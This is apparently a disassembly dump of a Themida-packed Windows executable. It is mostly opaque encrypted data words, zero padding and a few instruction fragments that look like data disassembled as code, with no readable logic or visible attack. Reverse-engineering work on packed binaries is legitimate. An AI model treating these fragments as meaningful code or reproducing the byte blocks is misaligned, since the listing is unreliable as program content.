dd 0B41C695Ah, 0FCA8622Ah, 7A860124h, 0EC264800h, 13BB0804h
dd 0F2450265h, 5EBD0080h, 0AC601EF8h, 0F4A706A6h, 0DA61A143h
dd 0D372DC1Eh, 36B92080h, 39563515h, 2B3DCC0Ah, 2C9BC980h
dd 9499CAF8h, 23C3B30Bh, 608C816h, 90BF02B6h, 0E32A43D6h
dd 54805C56h, 0BB3DE44Eh, 0F5FFA14h, 0D43EBEC0h, 77FB6340h
dd 3C0A9B95h, 0C001CC24h, 4B84D467h, 0A6CE18A0h, 1D7A3098h
dd 1BD06020h, 0B8FCF105h, 0AC88EAEDh, 0CF052493h, 7C6600F5h
dd 88B8840Eh, 8632D000h, 0F3260ACAh, 80589EEDh, 296B8769h
dd 0EB005A68h, 0FA54C3BDh, 0E0CEF782h, 4E7509EDh, 2400DFE6h
dd 0E9F45E97h, 3C89670Ah, 5C2CB803h, 0EB00CC11h, 9CA35F51h
dd 0BD006C92h, 0C26F1CD4h, 5DAA7Dh, 799D1DDEh, 0D08FB707h
dd 22A2E604h, 0BCCC96FFh, 0B4520014h, 0AFE2B6EEh, 180702A5h
dd 7FFDDA60h, 0BC83E020h, 8047B09Fh, 0F06A9660h, 61E100E8h
dd 5B6FA2ACh, 7300467Ch, 406B357Ah, 13C249B1h, 1138C99h
dd 60DE4278h, 2541CCC9h, 0D3DAE700h, 0A1E2B554h, 0B4CA5846h
dd 0B63BF4C1h, 77F010B0h, 0A7A312BDh, 0CDC42045h, 197335AEh
dd 0E100A079h, 0D57DDE17h, 173837F4h, 851C8C83h, 15078278h
dd 4A00D871h, 4B7C5A80h, 9D0B030h, 77B19BEFh, 8364A8h
dd 0F4CC3DE1h, 0D099689Ah, 2742CB04h, 7B59CC8h, 15425C2h
dd 99D2C1CAh, 860303Bh, 0C409CC27h, 72010188h, 0FBDFB029h
dd 3D4FD434h, 7CBDC95Ch, 0A3752502h, 882C3F7Ah, 0F701EC2Ch
dd 1239B47Eh, 3E41E830h, 245F7C1Dh, 384CB2F0h, 0AE598023h
dd 25085BB1h, 768C0937h, 2471C579h, 8817B900h, 0A5FA57h
dd 58A0CD16h, 95D16993h, 47B19A19h, 80223029h, 0BD910B07h
dd 5023509Fh, 0C600596Ah, 37094C88h, 2AA18h, 48D480C4h
dd 458F9A2Ch, 0A9145D03h, 0B073908h, 32358E20h, 590D0010h
dd 0F41F6400h, 0A95E9454h, 978F0111h, 1CADF556h, 0ED2FD42Ch
dd 3020B85Bh, 350FE3h, 0CDC6319Ch, 0E774D1FCh, 456EAC00h
dd 0AAC77D1Ch, 0A4BE090Ah, 60E807D2h, 100B1D5h, 0E14A0503h
dd 4901A65h, 6327ABCh, 4CB209h, 6DDE3568h, 0E60E60Fh, 965E64B9h
dd 0CD14D317h, 3A52DAA8h, 162FBC00h, 26D8A67Eh, 3E4003F6h
dd 38C06E18h, 6A06B617h, 287110C8h, 0A4DBDAh, 0EA9A040Bh
dd 0F3CE9F26h, 2480B9Dh, 0A02A581Ch, 5C33D74h, 0B9E419h
dd 0BDC179A1h, 0F380B8CBh, 33F8F50Fh, 4342060h, 2493B2AFh
dd 40643053h, 8D79131Bh, 8887C42Eh, 0AF9A0903h, 5890844Fh
dd 2751EA9Bh, 20E864h, 0BF296155h, 0D1253100h, 0BC65A0CBh
dd 9E97F35h, 956AF9Ch, 0C097941Bh, 0B69D6ECh, 0D056A00h
dd 36A946D4h, 4094B4B3h, 0CBCAFF82h, 0B2002F79h, 3B16F1C6h
dd 5F435C1h, 5872F596h, 40FCF42Eh, 0C4CBBA09h, 64E465h
dd 5A747875h, 89D1D31Bh, 91DCBE15h, 87C50010h, 334D140Fh
dd 0C88902B1h, 0B445D981h, 3CF029h, 0A47982EAh, 2E5DD0FBh
dd 90F7ED14h, 0E0A28E68h, 43D20AC0h, 7BC7E25Ch, 1199E60Fh
dd 5A3D679Ah, 7A2DC0CCh, 6B75CBCh, 4278C801h, 3071FDBDh
dd 0C1064584h, 59321AD6h, 0A9760031h, 0FD537B68h, 0D6E205A8h
dd 2D0A5E04h, 14C21356h, 3B887A1Ah, 0BDBFAA3Dh, 38D0C982h
dd 2461A146h, 3DB5D957h, 0E0058B0h, 0C08DB2D5h, 442C5B0Dh
dd 0F37B00C2h, 1906AA78h, 6A27AFFEh, 504420E3h, 0FC2E3454h
dd 0B0312D39h, 10ADB010h, 236E0503h, 0C0BFC8BAh, 1686F37Ah
dd 5C9AD8h, 87E37806h, 0C4265984h, 43402045h, 17956052h
dd 2D67AB5h, 3C941917h, 220E8CF1h, 0E85000AFh, 1FFAE2h
dd 630B539Ah, 9D9849A2h, 9072AEAh, 0C3D2EACCh, 0C5687313h
dd 4281BC01h, 47CABCBh, 12722F80h, 16003EC3h, 0C7F8B96Ah
dd 1433E9E1h, 0A489BA4Ch, 0BD509701h, 6094A625h, 2616514Ch
dd 183338F0h, 0AA5A9BD5h, 0BB8098D0h, 7B81F36h, 0F975401Bh
dd 1996E5B5h, 0CC4D5839h, 181D82C0h, 8208C1FBh, 0F3C96110h
dd 0C0BECD26h, 417EE441h, 9AD818F1h, 0BCC90BF1h, 0D400314Ah
dd 0BACA898h, 0DC3383B7h, 0EA47A8B9h, 0E9CD1EBDh, 10D2C0B0h
dd 59EE2BCFh, 3607FFECh, 99DF0784h, 545B2610h, 8908B158h
dd 5C98C8A3h, 0AE09D3D8h, 399383h, 0FA4DA40h, 282E4C3Ch
dd 0E48F3085h, 94940714h, 64971880h, 0A6D1DDh, 4202B901h
dd 529217EAh, 141ABB3Eh, 7B8461FEh, 60718Ah, 461D17B4h
dd 5E0AD56Bh, 0B87F42EFh, 401FCC09h, 3EE97050h, 0E03DD44h
dd 92C95D69h, 8B4DD4A0h, 593C0700h, 8243A429h, 8E21282Bh
dd 42891E94h, 6E25042Ah, 0B350C8D5h, 48F07100h, 51993FE9h
dd 27580170h, 0D3AC0486h, 3E7031B1h, 0EEDDB820h, 0A94D60B7h
dd 9693D02Ch, 3D0E8538h, 1C177FA5h, 78A3F15Dh, 5B31A70Eh
dd 494FBAE3h, 924C80ACh, 0CCB9F689h, 62A72780h, 0B0767Eh
dd 695D1391h, 0E6A1343Bh, 871A8C01h, 0FA323EAFh, 85D1A2F5h
dd 1E464C48h, 4015DDC9h, 5DA69891h, 0F826D24Dh, 404068EDh
dd 1B1E8A1h, 4CCA2F7Fh, 2C831C63h, 85039644h, 91D8CD91h
dd 5C805711h, 9499B90Bh, 1A0035CCh, 1D50148Dh, 0A634BF9Ah
dd 0DED700F4h, 4A234F7Ch, 6500A639h, 0EFE0C53Dh, 2D25902Fh
dd 9804138h, 2C9B99E7h, 0ABFB931Dh, 0AC158A01h, 5C207A64h
dd 761424E5h, 7CC025ACh, 0A5020B95h, 42F754Ch, 6C8448EDh
dd 0E9502810h, 365E006Ch, 0E7CD1F39h, 0BA13ED1Eh, 88A2E315h
dd 8E752300h, 48E542EEh, 0E4337B00h, 0FB346573h, 1326FAD3h
dd 0F2BD3074h, 8091F68h, 0BA9E987h, 0A0C655B3h, 2DF0CCh
dd 62DF0D20h, 2B7C7A06h, 70FBBB02h, 7EC8308Ah, 0E65C6080h
dd 3D03B9F7h, 9035D7A7h, 679B89D2h, 331BEC72h, 66F0A134h
dd 21057073h, 9B5B04B6h, 1D80ECE8h, 94221ADCh, 239FAF02h
dd 0AE486C1Ch, 0B5D62010h, 1F89325h, 0A129D024h, 6EAF9BE9h
dd 0D43A2437h, 4A798A80h, 12F67752h, 0D816C4h, 7118FF87h
dd 0A212B12Dh, 8232F3Dh, 1E539089h, 2EB507D9h, 20BFC619h
dd 0AAD29E74h, 6646012Fh, 683050ACh, 41B1021Ch, 0E1D9A99Ch
dd 0BAFB1860h, 427FFD00h, 0C7B06CC3h, 748FA06Ah, 0A05B0112h
dd 435308Bh, 10003A8Ch, 971D6BB1h, 0A2601F61h, 180A1833h
dd 0FC063ED6h, 2AD78259h, 6090B778h, 34001595h, 9D6F95Eh
dd 0F07D25h
dd 0BF105586h, 8B9A8156h, 5A97263Ah, 211AD800h, 244C9435h
dd 60E8A9B5h, 63C736B8h, 0DDD6BA0Bh, 1F54E486h, 1EEEC9D2h
dd 990640E9h, 351FA23Ah, 19C9785Ch, 0D4294DCBh, 745E2Bh
dd 0C11333F3h, 721F88CDh, 6930B19Ah, 12C5263h, 819B718Ch
dd 2EF988BFh, 69073C09h, 0D930AFECh, 9A8000FBh, 0B1E9B577h
dd 8614F1DCh, 80B8EDF4h, 94AF1ECEh, 0B4A90437h, 0B4E4889Ch
dd 2D00C9D0h, 41CA59BAh, 1CCB53C5h, 0C0B42283h, 0BE3337C3h
dd 0E901291Fh, 6D87D9BFh, 4763BF4h, 4EB73Ah, 72D1FEFBh
dd 1930ED30h, 9AAD0874h, 6734BE68h, 0A5E9F043h, 1E056959h
dd 48098B4Eh, 30D374B8h, 1281D08Ch, 5838700h, 8B6CC2D7h
dd 85E3040Eh, 0BCA49A8Dh, 82B98188h, 0F520D0AEh, 0F020509h
dd 0C830A2C9h, 0BC0E3580h, 0BFBB5D63h, 62B9BA80h, 44AD13h
dd 0D8156AA6h, 0A5721CC8h, 3879580Bh, 6688086h, 2CD4E709h
dd 0A5B4B53Fh, 3DA54420h, 0E624D6D3h, 3740B4E5h, 777D5885h
dd 877A0155h, 3CD96175h, 80646C13h, 0FA1056F3h, 48060309h
dd 69EA5FD2h, 622659C9h, 3B820A70h, 0CC2B07Fh, 0B4C407h
dd 7FE0CB20h, 0E9AA1EB6h, 37D95900h, 326A8164h, 0CD1D09FFh
dd 0E44409EDh, 7A3AC5FAh, 4A730086h, 715C7B21h, 3B1BFED2h
dd 420922C1h, 0FCDA2C3Ch, 8340454Ch, 0D0980F5Ah, 3B8AB863h
dd 0F4A5B7h, 2E70020Bh, 5E85FBD8h, 0EF0635EAh, 42C92F72h
dd 40075EE9h, 513E9444h, 5EFE96FBh, 0CB09C6B0h, 59263C33h
dd 0E80A94D4h, 0FCC1A04Ch, 143A45C3h, 0DAA57BC0h, 16B9001Ch
dd 17B0295h, 1F176C36h, 820435Ch, 0AF1079h, 0D594D4ACh
dd 0A42A64B0h, 139C1500h, 0ABF5F72Ch, 0A73C0131h, 0B9E31202h
dd 87B86C56h, 0BCB0EE19h, 7674FAF4h, 0F09A073Fh, 0AD153F1h
dd 7B71D68h, 2078586Eh, 68B97A36h, 0C60EA800h, 73677F93h
dd 8B509451h, 948018A7h, 0A006CA28h, 0D70C21F4h, 798D3697h
dd 673300BEh, 0C8E285F2h, 5100F04Fh, 0E55BE945h, 0FFAD36h
dd 11D7BE03h, 15963068h, 614DD10Fh, 20A0EE84h, 32192F60h
dd 54BA1C31h, 0FC8E001Bh, 0C93A6586h, 69CE9F00h, 0DF8FBCBh
dd 0B796006Dh, 30A1FC01h, 0D8031821h, 6ACD72A7h, 50510099h
dd 80C46ECFh, 9200F7CBh, 0D138C0A7h, 7158679h, 77D7A4B4h
dd 3032D6EBh, 1B6EBF00h, 0A1262310h, 3C63FC47h, 86809011h
dd 60AC147Dh, 3A7D159Ah, 8EFCD3B8h, 31694B00h, 0BFA20C8Fh
dd 276D0033h, 0C243D9EEh, 760163AAh, 0A8D17787h, 99802069h
dd 0FEF3395Bh, 0F47FC074h, 95B87000h, 0FF60C7E5h, 1F77544h
dd 0D15814C5h, 83086150h, 8D6AC039h, 0DDC8B0EDh, 69E80314h
dd 33BB4A70h, 7B3F2019h, 0DBF011D4h, 0E87532h, 75768723h
dd 3B77B21Bh, 0CF09E9C0h, 354D78h, 0E6B74433h, 15FA7E21h
dd 5C0087F8h, 3A4209EFh, 1F7F9Eh, 0A997AEAAh, 64CF0C80h
dd 0E71CE50Ch, 0BA0F0B6h, 42BC2874h, 3BEB7880h, 250D45DAh
dd 20BEFB20h, 18E67A60h, 0A9B8440Ch, 55312F70h, 6BA6409Fh
dd 0BAC57040h, 0F56100BBh, 9AA1CB13h, 2179C9E1h, 72D45B00h
dd 8FCE7986h, 0A6D17D14h, 0FAEC8Ch, 0C80959EFh, 8FCF4A60h
dd 0A5C86F54h, 620E1BE6h, 866A26h, 0C823CC3Eh, 0B1670063h
dd 42BD1AB8h, 80ED2225h, 0F4F940D1h, 0C9CA6Ah, 0BD026CBh
dd 350CD8E4h, 0D4BFE700h, 0D1FEA7Fh, 50E20011h, 0A557D28Ah
dd 0E5002C0Bh, 5E5B0501h, 84D316h, 0D287F431h, 8B6FBF95h
dd 27290307h, 4570F0B0h, 1C18539Bh, 3DA4F5E5h, 653F18F7h
dd 8AC3680Fh, 780052E6h, 1FBD0C1Eh, 0A3BE848h, 0F180D25Ch
dd 890618C5h, 0CC508BAEh, 320127FAh, 0E2194B54h, 0D930C84Dh
dd 0F34106F1h, 310BD798h, 2DBF39h, 0EB7274CEh, 9AA71Ch
dd 0A6665849h, 0D0F0319Eh, 0BD8B2300h, 0F9549C36h, 0B1BF072Ch
dd 0EFE57616h, 39520783h, 801FA83Ah, 1E262D6Fh, 22499Ch
dd 0CD65C784h, 0FA8CD807h, 0A8BFE600h, 7CE3F243h, 3DB10C73h
dd 4BE96642h, 6FE22801h, 9F30CD86h, 0FE84C20h, 4133D6BFh
dd 0B1ADA20h, 810002B5h, 0B68F28D2h, 3135D96Bh, 4380345Bh
dd 4725FC68h, 0F92CB00Fh, 0A0146015h, 1C096D7h, 0D13DBF70h
dd 203BAA37h, 24788E62h, 4B8F9000h, 8AAEB006h, 1D0E0085h
dd 0EE6A2C2Ah, 23009D29h, 352DF955h, 0ADF1C6h, 189B434Bh
dd 0F7FF6A97h, 2892B402h, 0A51C6CDAh, 0B020D684h, 114C6A5h
dd 0EC2645E4h, 0DCB2DDFDh, 8506D1D6h, 0EF9B1D03h, 45350028h
dd 1147D767h, 1603066Bh, 1849ABF7h, 7A211DD9h, 0E5C14065h
dd 9E84ACB3h, 584F7800h, 24B03C2Fh, 8F66035Eh, 263D42C0h
dd 3EEA8900h, 9F45F609h, 44080185h, 0A2CF1BF9h, 3AA1BE84h
dd 9B6A0028h, 2D72192Bh, 0E8B318B4h, 0FA0D4030h, 44043100h
dd 2549A52Ah, 1E613018h, 0B34CD690h, 0B5004375h, 6C3A3026h
dd 7B4D6647h, 6B0B007Dh, 538CDD3Fh, 9A00CC23h, 0F40E761Ch
dd 0E5E56AF5h, 45EC77F1h, 0D8241136h, 7B95030Bh, 98F92FFBh
dd 0DC90CAh, 6818056Ch, 8865249h, 0E71D8BF6h, 0B1076A9Eh
dd 8F80CC20h, 2EA88Ah, 65313099h, 26CF45C8h, 1D3BAFE8h
dd 618230F3h, 94AA7Dh, 8932BB3Ah, 0D14FAFC0h, 0E0A1B17Eh
dd 88060839h, 13078F89h, 0ED647260h, 0CC9FA553h, 8A34CBC1h
dd 18E7D0C8h, 31FAADB4h, 20016BD5h, 0B19167F2h, 19928C2Ah
dd 1BCB0235h, 0EC444381h, 5262FD00h, 463F2E13h, 964201F3h
dd 38EDDDA5h, 22E07F3Ah, 0FB310CFDh, 4E4907CEh, 0DC00FA71h
dd 39D0B656h, 1729E2Bh, 0AC444680h, 602345FDh, 43376B94h
dd 370069D0h, 7BF73281h, 44DB004Ah, 3982270Ch, 0F53B0AB8h
dd 2410CC41h, 0A4CEA46Ah, 6C81AE11h, 80081EA0h, 102088h
dd 0F84481BDh, 8250748Bh, 23ADD309h, 0A0102E64h, 55FA0642h
dd 18AFF492h, 49053D3Fh, 1124CD7Dh, 9700DDC0h, 0D8C4E57Eh
dd 4CCB005Dh, 2B1E8DDDh, 540F81D4h, 0B73C9Bh, 9A516BD2h
dd 0E49080h, 69AE47CDh, 49ED88EEh, 2D9B4600h, 851DBF6Dh
dd 31A324B2h, 2CB58760h, 0D8AE2208h, 1D44C4A3h, 1BE70801h
dd 8EE4A396h, 4CCA69F4h, 510070F4h, 76B88F8Ch, 7A522AACh
dd 3CDA01E0h, 3FE12ECCh, 0E7002823h, 0B02FA653h, 0D000C2B4h
dd 16808373h, 40DB42B3h, 95014F0Ch, 106F4EE9h, 0E0DCCC8Dh
dd 81120071h, 0FB9F193h, 2900BA94h, 0BC14C016h, 88F92D97h
dd 7000BD35h, 6A51A0FAh, 0E0850729h, 918B044h, 0D34241BAh
dd 0C0B68401h, 0F3EAD037h, 0B42E3D2Ah, 31114500h, 7A1228A2h
dd 7C73031Dh, 0D1D879A9h, 0FA3676D0h, 0A9EC6C30h, 1B98F81h
dd 0FB1E6F8Dh, 232AE4BBh, 8ECF00F8h, 3F2CA828h, 181F7140h
dd 0A9AACEEEh, 0FC03C564h, 0BD82BA6Fh, 2AD6F028h, 756709D9h
dd 64019983h, 1080CEF8h, 708FE23h, 0E648E7BCh, 9E6BAE27h
dd 0BD418C0Eh, 4055F5BFh, 336C53C4h, 20F9AF1Eh, 0CBC0B100h
dd 57DBE08Bh, 4C00F468h, 0A42A45D1h, 8C102BE4h, 3F242014h
dd 0EEAB4384h, 26D67498h, 0FEE27EFCh, 5F6C3B26h, 291B6600h
dd 26CBCFE4h, 4F00D821h, 39C17EC0h, 0BF76FCAEh, 0B9847316h
dd 0A81F5B13h, 0D4E6174Ah, 41124E80h, 7DD4892h, 0C9160110h
dd 8E33D060h, 0CB0C652Dh, 0B12FE8B2h, 0E9592AFAh, 749048BCh
dd 333421Ch, 0D626C0CDh, 3451A180h, 6A05E4A8h, 0E5AF51Eh
dd 0DC69944Eh, 0D6CCD41Eh, 0B2A97Ch, 2F3DE24Ch, 1875D002h
dd 5599DD60h, 1E48BC1h
dd 0BD479DA6h, 225AA0D9h, 867314F4h, 7B22E4h, 0B1C30490h
dd 47520C8Ch, 49DC1830h, 0EE644227h, 437008Dh, 0C6E39FD9h
dd 0B20040D2h, 237E15E0h, 2CBD0AFh, 603B0670h, 0B460789Bh
dd 0E602D8DFh, 82C569C9h, 0F8C443h, 98784C5Ch, 0CBDFD7D2h
dd 0E27B8A00h, 577EF9C2h, 0B71B0050h, 1EC012E1h, 0DD5C3522h
dd 0A6AA0016h, 48CBDA79h, 89413E38h, 0A9B4C65Eh, 26FA671Dh
dd 4011E35Ah, 983D92D0h, 0D177A01Ch, 9821008Bh, 5FF6327Ch
dd 1F543C8Ah, 0F100FDB4h, 0F2BC6A81h, 23083FAh, 0E56955DBh
dd 0E8444432h, 0BEC36C00h, 65FDCC34h, 0F88300D2h, 0F97BFCDCh
dd 0F700707Ch, 80345385h, 90D75C63h, 411D16ACh, 0F2370107h
dd 437FD16Ah, 790535A1h, 0CF442FADh, 1218C40h, 0B5DEB78Eh
dd 39740E80h, 0D912E238h, 800743E9h, 2773B9B1h, 0D541151Dh
dd 2526E077h, 19C101CAh, 0F4099185h, 70A052F2h, 0AF7EFA2Ch
dd 0A3F11400h, 8705181Ah, 0A3C78A0h, 9F744D9h, 45F40194h
dd 803151B9h, 99EF4739h, 5B3E0CCh, 0C2AE6E3Eh, 8D9CC0D4h
dd 0E9005ED2h, 5489CB46h, 149AC62Ah, 98433EAFh, 9988A280h
dd 6005D21h, 0F0691041h, 52E825h, 2FBBECE4h, 70C89A35h
dd 0F69B0901h, 0DF18A075h, 4E9DE050h, 0B6B5001Dh, 85FC7277h
dd 0FA153F17h, 199863E2h, 5DA92C47h, 2ED588F0h, 0F24E3Ah
dd 0A5E944EDh, 4F0E93D4h, 0A5B8D7BCh, 70C8ADCEh, 29D92C0Ah
dd 0B42A607Ch, 0D4765CCFh, 71C1F160h, 0E0E3EF4Bh, 6E8B32Ch
dd 1175D722h, 0F3420700h, 0A72E04DAh, 6DBA05CBh, 8CD74739h
dd 110006C4h, 0A74D8DD8h, 2E58793Ch, 35661FBh, 0C5334FE8h
dd 0F4872A91h, 3098F44Dh, 302064D2h, 187393D5h, 0F2832EC6h
dd 9F58ADF3h, 0A9100E8Ch, 9A1780E2h, 4C7B990Ch, 0FD87CCD7h
dd 0B640007Ch, 0B900CF20h, 4F61497Dh, 0E24A1CA3h, 2A8524F4h
dd 24723E39h, 81C720h, 5732D2B2h, 2499238Dh, 0BEDA6403h
dd 3882CC85h, 4418220Bh, 905639C0h, 78805700h, 0D1D6C014h
dd 0DEF8006Bh, 45BED4CEh, 3500E8F9h, 7CAEE3BFh, 7132D005h
dd 0C5710047h, 86AC6A41h, 1369D468h, 77A08059h, 108563h
dd 0C7F5DFC8h, 0FBFB023h, 0CA656100h, 0D29503A3h, 0DC8B3033h
dd 3B385370h, 5C528C90h, 0F09B00E8h, 59FD403Ch, 52C4A8CEh
dd 189223h, 0BB2A5C30h, 81EFA84h, 434BDB0Ch, 0EAFB29A7h
dd 97BA00EFh, 369D687Dh, 433C1647h, 49F901C4h, 0C0922F6Ah
dd 0F89E1BF0h, 0CB39C0B4h, 0DB8A7206h, 715C660Fh, 67BE479Dh
dd 30BC2EB0h, 2A2D0090h, 8461EDF3h, 0B07C1B29h, 0E7196B2Eh
dd 0AFCFD401h, 0BC646223h, 3DB100A6h, 0A39A9347h, 0C6133F68h
dd 0B400D93Ah, 0A9F0C7DFh, 0E49F5002h, 1CB0B1D2h, 79084083h
dd 0A3571EEBh, 1A0FD37Eh, 604DB03Fh, 6AFA505Ch, 9F230ACAh
dd 1DA0E0C4h, 43028BE7h, 58189090h, 486D5D00h, 8804C21Bh
dd 7E283FB1h, 690ECF98h, 0FA00F497h, 0E390E1C0h, 0CE4A17h
dd 70FF14A4h, 0DC8AC36Eh, 0D24CE801h, 0D55D5E85h, 0CC40F6D1h
dd 749F033Bh, 0AECF16F9h, 6A8C2232h, 9C4312h, 27911C0h
dd 622D9817h, 32CF2C3Eh, 9018810Ch, 0E0C78394h, 70820223h
dd 0B343D0A9h, 0C4C8C8A0h, 0C300CA5Ch, 8290AC19h, 0F30579h
dd 1DFD2BD5h, 0D7D83EFAh, 1A089761h, 7C8080ADh, 0EFB6A707h
dd 0AF3D0269h, 66A48E9Eh, 0C387005Fh, 1C8C3ADEh, 4068831Ah
dd 0DA89E772h, 9518FC11h, 7A5948BFh, 0AAD20CE4h, 676930E5h
dd 0CFED3D00h, 1378316Ah, 205E0CE0h, 502122C6h, 291F4800h
dd 2FBE6DC3h, 651906F5h, 0A1CD9FBFh, 0DC99951Dh, 2CA23030h
dd 181C6F48h, 2AC52107h, 6E200024h, 55532C8Ch, 0C37821C0h
dd 0F2CB6DC8h, 0D70C0114h, 167F88B6h, 170BECCh, 9D04AADAh
dd 49832AE5h, 88D49606h, 6624B0D0h, 0DC654000h, 0AB732012h
dd 0B4D20002h, 47ACBFB1h, 6A48685Fh, 0EEF80CD2h, 0F2B113Ch
dd 446DF9BCh, 5170A600h, 7C0ED973h, 985533A3h, 0F2596818h
dd 27B40053h, 6E2FEA92h, 2BE4226Bh, 80054FCh, 0A4A8A940h
dd 0CDE22Dh, 0F5602C0Fh, 0A36472ABh, 0BF307CF6h, 9944705Eh
dd 0A2151873h, 0EDBB1158h, 641E3BF0h, 1DDE51D4h, 0F9971100h
dd 5C1D38Ch, 3AE77877h, 0FF012FCCh, 0B6FFh
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_548BDF: ; CODE XREF: Themida_:loc_4E1265j
; DATA XREF: Themida_:loc_4E1086o
jmp loc_54C110
; ---------------------------------------------------------------------------
dd 7 dup(0)
; ---------------------------------------------------------------------------
public start
start:
push esi
mov fs, word ptr [esp+0]
; ---------------------------------------------------------------------------
dd 0
dd 54C9BC18h, 4 dup(0)
dd 81660619h, 7 dup(0)
dd 530788ACh, 0Ah dup(0)
dd 25C0000h, 1F472A36h, 2, 0
dd offset byte_59CC5F
dd 4 dup(0)
dd 0FFFFFFFFh, 0FDCh, 0C202ECh, 0
dd 0FBA82FEFh, 4 dup(0)
db 0CCh
align 4
db 64h, 90h
dw 761Ch
dd 7FFE0304h, 3 dup(0)
dd offset loc_59D97E
dd 0
dd 0FFA49233h, 2 dup(0)
dd 4, 32h dup(0)
dd 0A31568h, 18h dup(0)
dd 191D6D37h, 5 dup(0)
dd 13D8E05Dh, 2870000h, 0
dd 6936h, 7 dup(0)
dd 7A09B0FDh, 6 dup(0)
dd 76FACA04h, 2 dup(0)
dd offset loc_5BE058+2
dd 10000h, 2A200h, 0
dd 77F51254h, 0A1D554h, 2B34BE89h, 7FFE0304h, 0
dd 0B2A1FEh, 3 dup(0)
dd 7FFE0304h, 2 dup(0)
dd 0FFFF5E94h, 0ACh, 0
dd 0D4D0A9DEh, 77DD23D7h, 77E776CDh, 35Bh, 1, 3 dup(0)
dd 24h, 2 dup(0)
dd 12FF64h, 4 dup(0)
dd 0FFFFFFFFh, 4 dup(0)
dd 77E7A5FDh, 57CDB4D1h, 7 dup(0)
dd 7FFE0304h, 0
dd 86B3B64Ch, 5 dup(0)
dd 0A33268h, 8 dup(0)
db 0CCh
db 5Eh, 0DDh, 77h
align 10h
dd 8001FCFCh, 4 dup(0)
dd 0A10FE6h, 0A69995h, 0
dd offset byte_58F88C
align 8
dd 1, 9 dup(0)
dd offset off_57AEE7
dd 0Ah dup(0)
dd 0BBBFFDD4h, 9 dup(0)
dd 0D06C5A8Ah, 7 dup(0)
dd 80A06CE1h, 5834DBh, 3 dup(0)
dd 1, 7 dup(0)
dd 1, 5 dup(0)
dd 110h, 3 dup(0)
dd 0B52Ah, 8 dup(0)
dd 77E7C726h, 0Bh dup(0)
dd offset loc_582202
align 10h
dd 564F1B51h, 0
dd 4000F0h, 3 dup(0)
dd 0EE713013h, 59FBD2h, 0
dd 801474E6h, 24B7FFFh, 4 dup(0)
dd 46615CDBh, 0
dd 0EC271FA3h, 3 dup(0)
dd 77E7A099h, 2 dup(0)
dd 98h, 7FFE0304h, 3 dup(0)
dd offset loc_57BA78+3
align 10h
dd 0CE8h, 2 dup(0)
dd 0A270C4h, 3 dup(0)
dd 0EAF6F5B8h, 0A280105h, 5 dup(0)
dd 2430008h, 0FFA7FFDDh, 0
dd 1446D0h, 4 dup(0)
dd 6784h, 3 dup(0)
dd offset dword_57364C
align 10h
dd 0EBAE06D7h, 0A29499h, 2 dup(0)
dd offset dword_5794A8
align 8
retf 0E7B4h
; ---------------------------------------------------------------------------
db 0B4h
dd 3 dup(0)
dd offset dword_549B78
dd 5CECh, 0
dd 7FFE0023h, 2 dup(0)
dd 0FFFF9148h, 12FF60h, 0C4h, 3 dup(0)
dd 7F39F899h, 169Ah, 0A29C37h, 6 dup(0)
dd 8001FCFCh, 0
dd 0A8h, 3 dup(0)
dd 0FFFFFFFFh, 0
dd 7FFE0304h, 0
dd 6784h, 0A269DDh, 0A29234h, 6 dup(0)
dd offset byte_58F88F
dd 25h dup(0)
dd offset loc_5883DC+3
dd 0B90000h, 6E08h, 0
db 90h
db 93h, 44h, 7Fh
aThemida db 'Themida',0
dd 20h dup(0)
dd 0FFA34096h, 0
dd 0D6Ch, 3 dup(0)
dd 13D8E05Dh, 3 dup(0)
dd offset loc_59EC74+1
dd 15h dup(0)
dd 0C0000h, 2 dup(0)
dd 0FD3AC2E0h, 5 dup(0)
dd 0FFFF96ECh, 0E284EA00h, 8012A405h, 3 dup(0)
; ---------------------------------------------------------------------------
test [edi+0], ah
add [edx+ebx*8+46h], al
retn 0
; ---------------------------------------------------------------------------
align 4
dd 0FFFF9148h, 0A269DDh, 2 dup(0)
dd 7FFE0304h, 2 dup(0)
dd 0A269DDh, 0
dd 901A2B11h, 9 dup(0)
dd 77D40000h, 464934EBh, 0A209F7h, 5 dup(0)
dd 7FFE0304h, 54C9B384h, 3 dup(0)
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0D7h, 5Bh, 0
dd 0
dd offset loc_57CC3E
dd 12FF54h, 3 dup(0)
dd 34h, 0FFFF982Ch, 0
dd 77E74A3Bh, 4 dup(0)
dd offset loc_582202
align 8
dd offset loc_58A240
dd 77F7EBB3h, 3 dup(0)
dd 77E6D706h, 2 dup(0)
dd 77E776CDh, 2 dup(0)
dd 0FF5D5FF1h, 0A323E8h, 0
dd 0CB1A7h, 2 dup(0)
dd offset loc_573570
dd 0Eh dup(0)
dd 80529E7Ch, 5 dup(0)
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0A9h, 5Ch, 0
align 8
dd 0FFFF990Ch, 0
; ---------------------------------------------------------------------------
jmp near ptr byte_54963D
; ---------------------------------------------------------------------------
align 4
dd 0
db 0
byte_54963D db 3 dup(0) ; CODE XREF: Themida_:00549630j
dd 5 dup(0)
dd offset loc_5A0C05
dd 16h dup(0)
dd 1D7A40h, 0Ah dup(0)
dd 109128Fh, 0Ah dup(0)
dd 10Ch, 0
dd 0A47316h, 6 dup(0)
dd 0A2FA56h, 4 dup(0)
dd 0A23145h, 0
dd 0FFFF982Ch, 0Ah dup(0)
dd 0FFFFFFFFh, 3 dup(0)
; ---------------------------------------------------------------------------
mov al, ch
jmp short near ptr byte_5497D9
; ---------------------------------------------------------------------------
dd 0
dd 4A449E00h, 0B5564DF0h, 0A269DDh, 0
dd 0F600B034h, 77DD0000h, 2 dup(0)
dd 62h, 2 dup(0)
dd offset loc_582202
dd 1C034h, 0
dd 77E83E68h, 4 dup(0)
db 0
byte_5497D9 db 3 dup(0) ; CODE XREF: Themida_:00549786j
dd offset loc_5CBF68+2
dd offset sub_5A1ABB
align 8
dd offset byte_580023
dd 3 dup(0)
dd 0A2A00Fh, 4 dup(0)
dd 77E776CDh, 24242424h, 0FFDFFFFFh, 5 dup(0)
dd 0B0h, 4 dup(0)
dd 104h, 4 dup(0)
dd 67E0h, 25B0000h, 3E16332h, 0
dd 77E7C486h, 2 dup(0)
dd 0A49BACh, 752621EAh, 4 dup(0)
dd 0FB2AEC13h, 2 dup(0)
dd 3099h, 2 dup(0)
dd 13D8E05Dh, 5 dup(0)
dd 0FB2AEC13h, 0EBAE8D8Dh, 0Bh dup(0)
dd 77F51B2Bh, 0
